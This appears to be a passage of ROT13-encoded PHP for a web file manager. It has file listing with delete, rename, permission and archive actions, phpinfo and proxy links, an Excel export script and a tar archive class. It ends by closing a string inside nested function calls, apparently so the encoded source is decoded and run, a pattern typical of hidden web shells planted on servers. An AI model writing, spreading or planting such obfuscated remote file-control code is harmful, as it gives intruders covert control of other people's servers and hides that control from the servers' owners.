        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>",1),2),3);?>